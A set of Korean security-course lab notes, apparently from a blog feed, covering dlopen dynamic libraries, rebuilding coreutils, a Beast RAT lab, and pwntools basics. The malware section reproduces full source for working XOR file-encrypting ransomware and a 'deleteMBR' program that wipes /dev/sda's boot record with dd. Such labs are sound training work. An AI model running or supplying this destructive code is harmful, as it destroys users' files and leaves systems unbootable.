동적 라이브러리란 동적 적재 라이브러리를 줄여서 쓴 말로써 프로그램이 시작(run time)될 때가 아닌 필요할 때 
적재시키는 라이브러리이다. 

또한 소스 파일에 반드시 dlfcn.h 헤더파일을 반드시 포함해야 하며 컴파일시에 -ldl 옵션을 이용해 컴파일해야 한다.

&gt;&gt;&gt; 동적 라이브러리 예 &lt;&lt;
# ls /usr/lib64/xtables/
/usr/lib64/xtables/libxt_mac.so
# lsmod | grep -i mac

# iptables -A INPUT -m mac --mac-source 11:22:33:44:55:66 -j ACCEPT
# lsmod | grep -i mac
xt_mac                 12492  1  &lt;-- 메모리에 올라간 걸 확인한 모습이다.

# iptables -nL INPUT
Chain INPUT (policy ACCEPT)
target     prot opt source               destination
ACCEPT     tcp  --  0.0.0.0/0            0.0.0.0/0            tcp dpt:22
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0            MAC 11:22:33:44:55:66


# cd 
# mkdir library3_dynamic; cd library3_dynamic

-- plus.c --
int plus(int i)
{
    return i + 1;
}
-- plus.c --

-- minus.c --
int minus(int i)
{
    return i - 1;
}
-- minus.c --

-- main.c --
/*
 * 파일명: main.c
 * 프로그램 설명: 동적 적재 라이브러리와 컴파일 테스트
 * 작성자: 리눅스마스터넷
 */
#include &lt;dlfcn.h&gt;
#include &lt;stdio.h&gt;

int main()
{
    void *lib;         // dlopen handle 선언
    int (*plus)(int);  // 함수포인터 plus 선언
    int (*minus)(int); // 함수포인터 minus 선언
    int result1;       // 결과값을 저장할 변수 선언
    int result2;       // 결과값을 저장할 변수 선언

    /*
     *  동적 라이브러리 작업 순서
     *
     *  1. 동적 라이브러리 생성
     *  2. dlopen() 함수로 라이브러리 열기
     *  3. 라이브러리를 열지 못하면 dlerror() 함수로 에러 출력
     *  4. dlsym()  함수로 심볼정보를 찾아서 함수포인터에 넣기
     *  5. 함수 포인터 사용
     *  6. dlclose() 함수로 라이브러리 닫기
     */

    /*
     * 이 부분에서 동적 라이브러리를 열어서 사용한 것이다.
     * 일반적으로 동적 라이브러리는 프로그램이 참조하는 라이브러리에 위치한다.
     * iptables: /usr/lib64/xtables/
     * pam: /usr/lib64/security/
     */

    // 여기서는 현재 디렉터리에 동적 라이브러리를 생성해서 사용한다.
    lib  = dlopen(&quot;./libmyfunction.so&quot;,RTLD_LAZY);  // 2. 라이브러리 열기
    if(!lib) // 3. 라이브러리 에러 출력
    {
        fprintf(stderr,&quot;%s\n&quot;,dlerror());
        return 1;
    }
    plus = dlsym(lib,&quot;plus&quot;);     // 4. 심볼정보 plus 찾기
    minus = dlsym(lib,&quot;minus&quot;);   // 4. 심볼정보 minus 찾기
    result1 = plus(7);            // 5. 함수 포인터 사용
    result2 = minus(5);           // 5. 함수 포인터 사용

    printf(&quot;result1 = %d result2 = %d\n&quot;, result1, result2);  // 얻어진 결과값 출력 8, 4

    dlclose(lib); // 6. 라이브러리 닫기

    return 0;
}
-- main.c --


# gcc -fPIC -c minus.c plus.c
# gcc -shared -Wl,-soname,libmyfunction.so -o libmyfunction.so plus.o minus.o
# nm libmyfunction.so
  :
  :(생략)
00000000000006a4 T minus  &lt;-- minus 함수
0000000000000695 T plus   &lt;-- plus  함수
00000000000005e0 t register_tm_clones

# gcc -o main main.c -ldl
# ldd main
        linux-vdso.so.1 =&gt;  (0x00007ffdfbd70000)
        libdl.so.2 =&gt; /lib64/libdl.so.2 (0x00007fbe6dfec000)
        libc.so.6 =&gt; /lib64/libc.so.6 (0x00007fbe6dc1e000)
        /lib64/ld-linux-x86-64.so.2 (0x00007fbe6e1f0000)
# ./main
result1 = 8 result2 = 4</code></pre><blockquote>
<p><strong>실습&gt; 패키지및 소스 패키지 다운로드</strong></p>
</blockquote>
<pre><code>참고: https://cafe.naver.com/linuxmasternet/1655

배포판 : CentOS 7.9.2009, Rocky Linux 8.4

패키지를 다운로드 받는 방법에는 yum과 yumdownloader 명령어를 이용하는 두 가지 방법이 있다.

1. yum을 이용하는 방법
형식 :  yum install mc --downloadonly --downloaddir=directory
옵션 :
--downloadonly : 패키지를 설치하지 않고 다운로드하는 옵션
--downloaddir=directory : 다운로드할 디렉터리를 설정하는 옵션 (이 옵션이 없으면 /var/cache/yum/x86_64/7/ 에 다운로드 된다.)

사용법 : 
현재 디렉터리에 mc 패키지를 다운로드 한다.
# yum install mc --downloadonly --downloaddir=.

2. yumdownloader를 이용하는 방법
Yum 저장소에서 RPM 패키지를 다운로드하는 명령어로 yumdownloader를 사용하기 위해서는 yum-utils 패키지를 설치해야 한다.

형식 : 
yumdownloader --downloadonly 패키지명: 패키지를 다운로드 한다.
yumdownloader --downloadonly --source 패키지명: 소스 패키지를 다운로드 한다.

옵션 : 
--destdir=DESTDIR: DESTDIR로 다운로드
--resolve: 의존성 있는 패키지 모두 다운로드
--source : 소스 패키지 다운로드

CentOS 7.9.2009에서 사용법: 
- yum -y install yum-utils
- yumdownloader --downloadonly coreutils
- yumdownloader --downloadonly --source coreutils

Rocky Linux 8.4에서 사용법:
- dnf -y install yum-utils
- yumdownloader --downloadonly coreutils
- yumdownloader --downloadonly --source coreutils

yum-utils 패키지를 설치한다.
# cd
# yum -y install yum-utils
# yumdownloader --downloadonly coreutils
# yumdownloader --downloadonly --source coreutils
# useradd mockbuild
# rpm -Uvh coreutils-8.22-24.el7_9.2.src.rpm 
# cd rpmbuild/SOURCES
# tar xJf coreutils-8.22.tar.xz
# cd coreutils-8.22
# ls -l

root 권한으로 configure를 하면 에러가 발생하므로 여기서는 소스를 분석하는 목적이므로 환경변수 FORCE_UNSAFE_CONFIGURE 를 설정한다. 
또한 중요한 것은 컴파일해서 소스코드를 분석하는 목적을 가지고 있으므로 make install은 생략한다.
# export FORCE_UNSAFE_CONFIGURE=1 
# ./configure 
# make
# cd src
# vi ls.c

1240 int
1241 main (int argc, char **argv)                                                               
1242 {
  :
  :(생략)
1277   printf(&quot;&gt;&gt;&gt; 소스 파일 수정 &lt;&lt;&lt;\n&quot;
1278          &quot;&gt;&gt;&gt; Written by Linuxmaster.net &lt;&lt;&lt;\n\n&quot;);
1279 
1280   initialize_main (&amp;argc, &amp;argv);


# cd ..
# make
# cd src
# ./ls
[root@localhost src]# ./ls
&gt;&gt;&gt; 소스 파일 수정 &lt;&lt;&lt;
&gt;&gt;&gt; Written by Linuxmaster.net &lt;&lt;&lt;
  :
  :(생략)</code></pre>]]></description>
        </item>
        <item>
            <title><![CDATA[시스템 보안 운영 - 1 (3월 시험 3/20, C & Python 3/21, 교육 82일차)]]></title>
            <link>https://velog.io/@security_code/%EC%8B%9C%EC%8A%A4%ED%85%9C-%EB%B3%B4%EC%95%88-%EC%9A%B4%EC%98%81-1-%EA%B5%90%EC%9C%A1-%EC%9D%BC%EC%B0%A8</link>
            <guid>https://velog.io/@security_code/%EC%8B%9C%EC%8A%A4%ED%85%9C-%EB%B3%B4%EC%95%88-%EC%9A%B4%EC%98%81-1-%EA%B5%90%EC%9C%A1-%EC%9D%BC%EC%B0%A8</guid>
            <pubDate>Thu, 23 Mar 2023 13:07:26 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p><strong>실습&gt; 악성코드 다운로드</strong></p>
</blockquote>
<pre><code>    Client             Server
    Attacker           Victim
+------------+     +------------+
|            |     |            |
|            |     | 6666       |
|         -------------&gt;        |
|            |     |            |
|            |     |            |
+------------+     +------------+
     .5                 .4

         200.200.200.0/24</code></pre><pre><code>1. 악성 프로그램 다운로드
http://intranet.linuxmaster.net/Data/Beast.zip

다운로드 받으면 VM 안에 옮겨서 Beast.zip 압축을 해제한다.</code></pre><pre><code>C:\&gt;ipconfig

Windows IP Configuration


Ethernet adapter 로컬 영역 연결:

        Connection-specific DNS Suffix  . :
        IP Address. . . . . . . . . . . . : 200.200.200.4
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 200.200.200.2

C:\&gt;netstat -na

Active Connections

  Proto  Local Address          Foreign Address        State
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING
  TCP    127.0.0.1:1026         0.0.0.0:0              LISTENING
  TCP    200.200.200.4:139      0.0.0.0:0              LISTENING
  UDP    0.0.0.0:445            *:*
  UDP    0.0.0.0:500            *:*
  UDP    0.0.0.0:1025           *:*
  UDP    0.0.0.0:4500           *:*
  UDP    127.0.0.1:123          *:*
  UDP    127.0.0.1:1900         *:*
  UDP    200.200.200.4:123      *:*
  UDP    200.200.200.4:137      *:*
  UDP    200.200.200.4:138      *:*
  UDP    200.200.200.4:1900     *:*



Wine: 
리눅스에서 윈도우 프로그램을 실행시키는 프로그램
공격자 Kali에서 Wine 프로그램을 설치해서 사용

2. Server 생성 및 실행
원래는 Attacker에서 여러가지 취약점을 이용해서 감염시킨 후 사용해야 하지만
시간관계상 Victim에서 생성한다.

Build Server 를 이용해서 server.exe를 생성한다.
- 다양한 형태로 생성이 가능하다.
- bind connection, reverse connection, 아이콘 변경 ...
- 접속 암호 설정, 포트 설정 ...

sysinternal 프로그램에서 tcpview.exe, procexp.exe를 실행해서 모니터링한다.

server.exe를 실행한다.
- 6666 포트가 열린다.
- svchost.exe로 실행한다.

3. 접속
Attacker에서 접속한다.
Beast2.07.exe 파일을 실행해서 Victim으로 접속한다.
Host: 200.200.200.4
Port: 6666
Password: 


Go Beast! 버튼을 클릭한다.



분석용으로만 사용하자!!!
실제로 사용하면 정보통신망법에 문제가 될 수 있다.

Ransomware
https://github.com/ncorbuk/Python-Ransomware
https://github.com/Fytex/simple-ransomware/blob/master/main.c
</code></pre><blockquote>
<p><strong>실습&gt; Dev-Cpp 설치하기</strong></p>
</blockquote>
<pre><code>Host OS에서 다운로드 받아서 WinXP에 설치한다.

Dev-Cpp 공식 사이트:
https://sourceforge.net/projects/orwelldevcpp/

intranet 서버:
http://intranet.linuxmaster.net/Data/Dev-Cpp 5.11 TDM-GCC 4.9.2 Setup.exe

RansomeWare 다운로드
https://github.com/Fytex/simple-ransomware/blob/master/main.c

RansomeWareTest.c</code></pre><pre><code>#include &lt;stdlib.h&gt;
#include &lt;stdio.h&gt;
#include &lt;string.h&gt;
#include &lt;Windows.h&gt;
#define RELATIVE_FOLDER &quot;\\RansomeWareTest&quot; // 0 - User&#39;s path
// #define RELATIVE_FOLDER &quot;\\Desktop&quot; // 0 - User&#39;s path
#define CRYPTO_NUM 21
#define CRYPTO_EXT &quot;.H43&quot;
#define CRYPTO_EXT_LEN 4
#define CRYPTO_ENV_NAME &quot;H43_xor_encryption&quot;
#define CRYPTO_ENV_VALUE &quot;H43&quot;

int encrypt = -1; // 1 - encrypt, 0 - decrypt, -1 - undefined

void print_ascii_art() {

    puts(&quot;\n\n&quot;
        &quot;\t\t\tHHHHHHHHH     HHHHHHHHH       444444444   333333333333333\n&quot;
        &quot;\t\t\tH:::::::H     H:::::::H      4::::::::4  3:::::::::::::::33\n&quot;
        &quot;\t\t\tH:::::::H     H:::::::H     4:::::::::4  3::::::33333::::::3\n&quot;
        &quot;\t\t\tHH::::::H     H::::::HH    4::::44::::4  3333333     3:::::3\n&quot;
        &quot;\t\t\t  H:::::H     H:::::H     4::::4 4::::4              3:::::3\n&quot;
        &quot;\t\t\t  H:::::H     H:::::H    4::::4  4::::4              3:::::3\n&quot;
        &quot;\t\t\t  H::::::HHHHH::::::H   4::::4   4::::4      33333333:::::3\n&quot;
        &quot;\t\t\t  H:::::::::::::::::H  4::::444444::::444    3:::::::::::3\n&quot;
        &quot;\t\t\t  H:::::::::::::::::H  4::::::::::::::::4    33333333:::::3\n&quot;
        &quot;\t\t\t  H::::::HHHHH::::::H  4444444444:::::444            3:::::3\n&quot;
        &quot;\t\t\t  H:::::H     H:::::H            4::::4              3:::::3\n&quot;
        &quot;\t\t\t  H:::::H     H:::::H            4::::4              3:::::3\n&quot;
        &quot;\t\t\tHH::::::H     H::::::HH          4::::4  3333333     3:::::3\n&quot;
        &quot;\t\t\tH:::::::H     H:::::::H        44::::::443::::::33333::::::3\n&quot;
        &quot;\t\t\tH:::::::H     H:::::::H        4::::::::43:::::::::::::::33\n&quot;
        &quot;\t\t\tHHHHHHHHH     HHHHHHHHH        4444444444 333333333333333\n\n\n&quot;);
}


void xor_encryption (char* file) {

    char* ext = strrchr(file, &#39;.&#39;);

    if (encrypt == -1)
        encrypt = strcmp(ext, CRYPTO_EXT) &amp; 1;

    else if (encrypt != (strcmp(ext, CRYPTO_EXT) &amp; 1))
        return;

    FILE *fp;
    char *content;
    long length;
    int i;

    fp = fopen(file, &quot;rb+&quot;);

    if (fp) {

        fseek(fp, 0, SEEK_END);
        length = ftell(fp);
        fseek(fp, 0, SEEK_SET);
        content = malloc(length + 1);

        if (content) {

            length = fread(content, 1, length, fp);

            if (length) {

                rewind(fp);

                char* tmp = content;
                for (i = 0; i &lt; length; ++tmp, ++i)
                    *tmp = *tmp ^ CRYPTO_NUM;

                fwrite(content, 1, length, fp);
            }
            free(content);
        }

        fclose(fp);
    }

    if (encrypt) {

        char* new_file = (char *) malloc(strlen(file) + CRYPTO_EXT_LEN + 1);
        strcpy(new_file, file);
        strcat(new_file, CRYPTO_EXT);
        rename(file, new_file);
        free(new_file);
    }
    else {

        char* old_file = strdup(file);
        *ext = &#39;\0&#39;;
        rename(old_file, file);
        free(old_file);
    }
}

void files_tree(const char *folder) {

    char wildcard[MAX_PATH];
    sprintf(wildcard, &quot;%s\\*&quot;, folder);
    WIN32_FIND_DATA fd;
    HANDLE handle = FindFirstFile(wildcard, &amp;fd);

    if(handle == INVALID_HANDLE_VALUE) return;

    do {

        if(strcmp(fd.cFileName, &quot;.&quot;) == 0 || strcmp(fd.cFileName, &quot;..&quot;) == 0) 
            continue;

    char path[MAX_PATH];
        sprintf(path, &quot;%s\\%s&quot;, folder, fd.cFileName);

        if((fd.dwFileAttributes &amp; FILE_ATTRIBUTE_DIRECTORY) &amp;&amp; !(fd.dwFileAttributes &amp; (FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_DEVICE)))
        files_tree(path);

        if (fd.dwFileAttributes &amp; FILE_ATTRIBUTE_ARCHIVE)
            xor_encryption(path);
            //puts(path);

    } while(FindNextFile(handle, &amp;fd));

    FindClose(handle);
}

int main(void) {

    char* env = getenv(CRYPTO_ENV_NAME);

    if (strcmp(env, CRYPTO_ENV_VALUE)) {

        //void* home_path = getenv(&quot;USERPROFILE&quot;);
        void* home_path = &quot;C:\RansomeWareTest&quot;; 
        void* path = home_path;

        if (RELATIVE_FOLDER) {

            path = malloc(strlen(home_path) + strlen(RELATIVE_FOLDER) + 1);
            strcpy(path, home_path);
            strcat(path, RELATIVE_FOLDER);
        }

        files_tree(path);

        if (RELATIVE_FOLDER)
            free(path);
    }

    print_ascii_art();
    return 0;
}
</code></pre><blockquote>
<p><strong>실습&gt; 서버의 MBR 삭제하기</strong></p>
</blockquote>
<pre><code>446byte
  |
  v
|---|
+---------------+
|MBR|           |
+---------------+
  ^
  |
  +--- 0으로 모두 채운다.

1. DVD 중지
DVD를 Disconnect 한다.

2. MBR 삭제
MBR 영역 446byte를 0으로 채우고 서버를 재부팅한다. 
# dd if=/dev/zero of=/dev/sda bs=446 count=1
# reboot

3. 부팅 실패
MBR 영역을 0으로 채웠기 때문에 grub2 프로그램이 삭제가 되어 부팅에 실패한다.

4. 복구
DVD를 Connect 하고 서버를 재부팅한다.
서버가 부팅할 때 [Troubleshooting] &gt; [Rescue]를 선택하고 서버가 부팅되면 
아래처럼 메세지가 출력된다.

1) Continue

2) Read-only mount

3) Skip to shell

4) Quit (Reboot)

Please make a selection from the above: 1  &lt;-- 1을 선택한다.

엔터를 치면 셸이 떨어진다. 
sh-4.2# chroot /mnt/sysimage
bash-4.2# grub2-install /dev/sda  
Installing for i386-pc platform.
Installation finished. No error reported.
bash-4.2# 

reboot, exec /sbin/init 명령어가 실행되지 않으므로 서버를 강제로 재부팅한다.

# deleteMBR.c
-- deleteMBR.c --
/*
 * 파일명: deleteMBR.c
 * 프로그램 설명: MBR 44byte를 삭제하는 악성코드
 * 작성자: 리눅스마스터넷
 */

#include &lt;stdio.h&gt;
#define  deleteMBR  &quot;dd if=/dev/zero of=/dev/sda bs=446 count=1 &gt; /dev/null 2&gt;&amp;1&quot;

int main()
{
    system(deleteMBR);

    return 0;
}
-- deleteMBR.c --

# gcc -o deleteMBR deleteMBR.c
# ./deleteMBR
# reboot






https://linuxmaster.net/tools/pwntools.txt

https://linuxmaster.net/tools/pwntoolsDocumentation.pdf.gz
https://linuxmaster.net/tools/cLanguage.tar.gz</code></pre><p><strong>pwntools 개요</strong></p>
<p>화이트해커의 필수 툴로 리눅스에서 CTF 대회, 포너블(시스템해킹)과 익스플로잇을 좀 더 쉽게 제작할 수 있는 
파이썬 라이브러리다. 공식문서는 아래를 참고하고 이미 많은 블로그에 관련 내용들이 있으니 참고한다.</p>
<p>공식사이트: <a href="https://github.com/Gallopsled/pwntools">https://github.com/Gallopsled/pwntools</a>
공식 문서: <a href="https://docs.pwntools.com/">https://docs.pwntools.com/</a></p>
<pre><code>process(&quot;filename&quot;) # 로컬 상의 실행 파일을 불러온다.
recv(int)           # 표준 출력에서 int 만큼의 문자열을 읽어서 반환한다.
recvuntil(&quot;str&quot;)    # 표준 출력에서 &quot;str&quot;이라는 문자열까지 읽어서 반환한다.
recvline()          # 표준 출력에서 한 줄을 읽어서 반환한다. recvuntil(&quot;\n&quot;)으로도 동일한 동작 구현 가능.
send(&quot;str&quot;)         # 표준 입력에 &quot;str&quot;이라는 문자열을 넣어준다.
sendline(&quot;str&quot;)     # 표준 입력에 &quot;str\n&quot;이라는 문자열을 넣어준다.
interactive()       # 유저가 화면에 직접 입출력 할 수 있도록 해준다.

nc 접속 형식: 
객체변수명 = remote(&#39;IP Address&#39;, Port)

SSH 접속 형식:
객체변수명 = ssh(&#39;Username&#39;, &#39;IP Address&#39;, Port, &#39;Password&#39;)
</code></pre><blockquote>
<p><strong>실습&gt; pwntools 설치</strong></p>
</blockquote>
<pre><code>1. rh-python 3.8 설치
# wget --no-check-certificate http://linuxmaster.net/tools/rh-python38.sh 
# chmod 755 rh-python38.sh 
# ./rh-python38.sh 

2. 가상환경 생성
파이썬 가상환경을 생성한다.
[root@localhost ~]# python -m venv pwntoolsProject
[root@localhost ~]# . pwntoolsProject/bin/activate
(pwntoolsProject) [root@localhost ~]# python -m pip install --upgrade pip
(pwntoolsProject) [root@localhost ~]# python -m pip install --upgrade pwntools

3. 소스코드 작성
pwntools를 테스트할 C 프로그램을 제작한다.
# wget --no-check-certificate http://linuxmaster.net/tools/gccInstall.sh
# chmod 755 gccInstall.sh
# ./gccInstall.sh
# vi pwnTest.c 
/*
 * 파일명: pwnTest.c
 * 프로그램 설명: pwntools 입축력을 위한 테스트 프로그램
 * 작성자: 리눅스마스터넷
 * 작성일: 2023.03.19
 */

#include &lt;stdio.h&gt;

int main()
{
    char s[100];

    fgets(s, sizeof(s), stdin);
    printf(&quot;%s&quot;, s);

    return 0;
}

[root@localhost ~]# gcc -m32 -g -o pwnTest pwnTest.c
[root@localhost ~]# ./pwnTest 
Hello pwntools!

4. pwntools 사용하기
파이썬 인터렉티브 셸에서 pwntoos를 사용한다.
(pwntoolsProject) [root@localhost ~]# python
Python 3.8.13 (default, Aug 16 2022, 12:16:29) 
[GCC 9.3.1 20200408 (Red Hat 9.3.1-2)] on linux
Type &quot;help&quot;, &quot;copyright&quot;, &quot;credits&quot; or &quot;license&quot; for more information.

pwntools를 사용하기 위해 pwn 모듈을 import 한다.
&gt;&gt;&gt; from pwn import *

process 클래스의 인수로 실행하고자 하는 ./pwnTest 파일명을 실행시키고 객체 r을 생성한다.
&gt;&gt;&gt; r = process(&quot;./pwnTest&quot;)
[x] Starting local process &#39;./pwnTest&#39;
[+] Starting local process &#39;./pwnTest&#39;: pid 47240

&gt;&gt;&gt; type(r)
&lt;class &#39;pwnlib.tubes.process.process&#39;&gt;

다른 터미널에서 ps로 확인하면 ./pwnTest 프로세스가 실행중인걸 확인할 수 있다.
# ps -eLf|grep -E &#39;PID|pwnTest&#39;
UID         PID   PPID    LWP  C NLWP STIME TTY          TIME CMD
root      47240  46838  47240  0    1 13:58 pts/8    00:00:00 ./pwnTest
root      47242  47127  47242  0    1 13:58 pts/2    00:00:00 grep --color=auto -E PID|pwnTest

다시 파이썬 인터렉티브 셸로 돌아와서 send() 메소드를 호출해서 데이터를 입력한다.
process(&quot;./pwnTest&quot;)로 ./pwnTest 프로그램을 실행시키면 화면에서 직접 입력할 수는 없고 인스턴스 변수 r을 이용해서
send() 메소드를 호출하면 파이썬 코드를 통해서 ./pwnTest 프로세스의 stdin에 입력할 수 있다.
입력할 때는 엔터(\n)키가 입력될 때 까지 데이터를 넣어줄 수 있고 엔터(\n)가 입력되면 입력을 종료한다.
&gt;&gt;&gt; r.send(&quot;12345678&quot;)
&gt;&gt;&gt; r.send(&quot;90123456789012345\n&quot;)

입력이 완료되면 다른 터미널에서 ps로 다시 확인했을 때 ./pwnTest 프로세스가 종료(&lt;defunct&gt;)된걸 확인할 수 있다.
# ps -eLf|grep -E &#39;PID|pwnTest&#39;
UID         PID   PPID    LWP  C NLWP STIME TTY          TIME CMD
root      47240  46838  47240  0    1 13:58 ?        00:00:00 [pwnTest] &lt;defunct&gt;
root      47261  47127  47261  0    1 14:08 pts/2    00:00:00 grep --color=auto -E PID|pwnTest

# ps aux|grep -E &#39;PID|pwnTest&#39;
USER        PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root      47240  0.0  0.0      0     0 ?        Zs   13:58   0:00 [pwnTest] &lt;defunct&gt;
root      47265  0.0  0.1 116976  1024 pts/2    R+   14:09   0:00 grep --color=auto -E PID|pwnTest

다시 파이썬 인터렉티브 셸로 돌아와서 recv() 메소드를 호출하면 stdout으로 출력된 전체 문자열을 읽어 값을 리턴한다.
send() 메소드로 전달한 값이 50byte가 안되므로 전체 문자열이 읽혀졌다. 
&gt;&gt;&gt; r.recv(50)
[*] Process &#39;./pwnTest&#39; stopped with exit code 0 (pid 47240)
b&#39;1234567890123456789012345\n&#39;

다른 터미널에서 ps로 확인하면 좀비 프로세스로 남아있던 pwnTest 프로세스는 부모프로세스가 걷어들여서 사라지게 된다.
[root@localhost ~]# ps aux|grep -E &#39;PID|pwnTest&#39;
USER        PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root      47268  0.0  0.1 116976  1024 pts/2    R+   14:13   0:00 grep --color=auto -E PID|pwnTest

사용이 완료되면 파이썬을 종료한다.
&gt;&gt;&gt; quit()
</code></pre><blockquote>
<p><strong>실습&gt; 파이썬 파일로 생성해서 사용하기 1</strong></p>
</blockquote>
<pre><code>1. 소스코드 작성
(pwntoolsProject) [root@localhost ~]# vi pwnTest.py 
#!/usr/bin/env python
&quot;&quot;&quot;
파일명: pwnTest.py
프로그램 설명: pwntools 입출력을 위한 파이썬 프로그램
작성자: 리눅스마스터넷
&quot;&quot;&quot;
from pwn import *

programName = &quot;./pwnTest&quot;
r = process(programName)

r.send(b&quot;12345678&quot;)
#r.send(b&quot;90123456789012345\n&quot;)
r.sendline(b&quot;90123456789012345&quot;)

data = r.recv(50)
print(data)

2. 프로그램 실행
(pwntoolsProject) [root@localhost ~]# chmod 755 pwnTest.py 
(pwntoolsProject) [root@localhost ~]# ./pwnTest.py 
[+] Starting local process &#39;./pwnTest&#39;: pid 47417
b&#39;1234567890123456789012345\n&#39;
[*] Process &#39;./pwnTest&#39; stopped with exit code 0 (pid 47417)
</code></pre><blockquote>
<p><strong>실습&gt; 파이썬 파일로 생성해서 사용하기 2</strong></p>
</blockquote>
<pre><code>1. nc 포트 오픈
[root@localhost ~]# nc -lvp 8000
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::8000
Ncat: Listening on 0.0.0.0:8000

2. 소스코드 작성
(pwntoolsProject) [root@localhost ~]# vi pwnTest2.py 
#!/usr/bin/env python
&quot;&quot;&quot;
파일명: pwnTest2.py
프로그램 설명: pwntools 입출력을 위한 파이썬 프로그램
작성자: 리눅스마스터넷
&quot;&quot;&quot;
from pwn import *

programName = &quot;./pwnTest&quot;
p = remote(&quot;127.0.0.1&quot;, 8000)

p.sendline(b&quot;123456789012345&quot;)
p.close()

3. 프로그램 실행
(pwntoolsProject) [root@localhost ~]# chmod 755 pwnTest2.py 
(pwntoolsProject) [root@localhost ~]# ./pwnTest2.py 

4. nc 종료
[root@localhost ~]# nc -lvp 8000
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::8000
Ncat: Listening on 0.0.0.0:8000
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:47362.
123456789012345
[root@localhost ~]# 
</code></pre><blockquote>
<p><strong>실습&gt; pwntools를 이용한 ssh 접속하기 1</strong></p>
</blockquote>
<pre><code>SSH 접속 형식:
객체변수명 = ssh(&#39;Username&#39;, &#39;IP Address&#39;, Port, &#39;Password&#39;)

1. 네트워크 상태 모니터링
[root@localhost ~]# yum -y install net-tools
[root@localhost ~]# watch netstat -nat
Every 2.0s: netstat -nat    Sat Mar  4 16:19:44 2023

Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN
tcp        0      0 200.200.200.3:22        200.200.200.1:10610     ESTABLISHED
tcp        0     36 200.200.200.3:22        200.200.200.1:11166     ESTABLISHED
tcp6       0      0 :::80                   :::*                    LISTEN
tcp6       0      0 :::22                   :::*                    LISTEN
tcp6       0      0 ::1:25                  :::*                    LISTEN

2. ssh 접속
(pwntoolsProject) [root@localhost ~]# python
Python 3.8.13 (default, Aug 16 2022, 12:16:29) 
[GCC 9.3.1 20200408 (Red Hat 9.3.1-2)] on linux
Type &quot;help&quot;, &quot;copyright&quot;, &quot;credits&quot; or &quot;license&quot; for more information.
&gt;&gt;&gt; from pwn import *
&gt;&gt;&gt; s = ssh(user=&#39;user1&#39;, host=&#39;127.0.0.1&#39;, port=22, password=&#39;111111&#39;)
[x] Connecting to 127.0.0.1 on port 22
[+] Connecting to 127.0.0.1 on port 22: Done
[*] user1@127.0.0.1:
    Distro    Unknown 
    OS:       linux
    Arch:     amd64
    Version:  3.10.0
    ASLR:     Enabled
&gt;&gt;&gt;

Every 2.0s: netstat -nat    &lt;날짜와 시간&gt;

Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:35940         127.0.0.1:22            ESTABLISHED  &lt;-- pwntools로 연결된 부분
tcp        0      0 127.0.0.1:22            127.0.0.1:35940         ESTABLISHED  &lt;-- pwntools로 연결된 부분
tcp        0      0 200.200.200.3:22        200.200.200.1:10610     ESTABLISHED
tcp        0     36 200.200.200.3:22        200.200.200.1:11166     ESTABLISHED
tcp6       0      0 :::80                   :::*                    LISTEN
tcp6       0      0 :::22                   :::*                    LISTEN
tcp6       0      0 ::1:25                  :::*                    LISTEN

3. ssh 접속 종료
&gt;&gt;&gt; s.close()
[*] Closed connection to &#39;127.0.0.1&#39;


Every 2.0s: netstat -nat    &lt;날짜와 시간&gt;

Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN     
tcp        0      0 200.200.200.3:22        200.200.200.1:10610     ESTABLISHED
tcp        0      0 127.0.0.1:35942         127.0.0.1:22            TIME_WAIT    &lt;-- pwntools로 접속이 종료된 부분
tcp        0     36 200.200.200.3:22        200.200.200.1:11166     ESTABLISHED
tcp6       0      0 :::80                   :::*                    LISTEN     
tcp6       0      0 :::22                   :::*                    LISTEN     
tcp6       0      0 ::1:25                  :::*                    LISTEN     

</code></pre><blockquote>
<p><strong>실습&gt; pwntools를 이용한 ssh 접속하기 2</strong></p>
</blockquote>
<pre><code>SSH 접속 형식:
객체변수명 = ssh(&#39;Username&#39;, &#39;IP Address&#39;, Port, &#39;Password&#39;)

1. 사용자 생성
[root@localhost ~]# useradd user1
[root@localhost ~]# passwd --stdin user1 
user1 사용자의 비밀 번호 변경 중
111111
passwd: 모든 인증 토큰이 성공적으로 업데이트 되었습니다.

2. 네트워크 상태 모니터링
[root@localhost ~]# yum -y install net-tools
[root@localhost ~]# netstat -nat

3. SSH 접속
(pwntoolsProject) [root@localhost ~]# python
Python 3.8.13 (default, Aug 16 2022, 12:16:29) 
[GCC 9.3.1 20200408 (Red Hat 9.3.1-2)] on linux
Type &quot;help&quot;, &quot;copyright&quot;, &quot;credits&quot; or &quot;license&quot; for more information.
&gt;&gt;&gt; from pwn import *
&gt;&gt;&gt; s = ssh(user=&#39;user1&#39;, host=&#39;127.0.0.1&#39;, port=22, password=&#39;111111&#39;)
[x] Connecting to 127.0.0.1 on port 22
[+] Connecting to 127.0.0.1 on port 22: Done
[*] user1@127.0.0.1:
    Distro    Unknown 
    OS:       linux
    Arch:     amd64
    Version:  3.10.0
    ASLR:     Enabled
&gt;&gt;&gt; sh = s.run(&#39;sh&#39;)
[x] Opening new channel: &#39;sh&#39;
[+] Opening new channel: &#39;sh&#39;: Done
&gt;&gt;&gt; sh.sendline(b&#39;pwd&#39;)
&gt;&gt;&gt; sh.recvline().decode()
&#39;sh-4.1$ /home/user1\n&#39;
&gt;&gt;&gt; sh.sendline(b&#39;ls -a&#39;)
&gt;&gt;&gt; sh.recvline().decode()
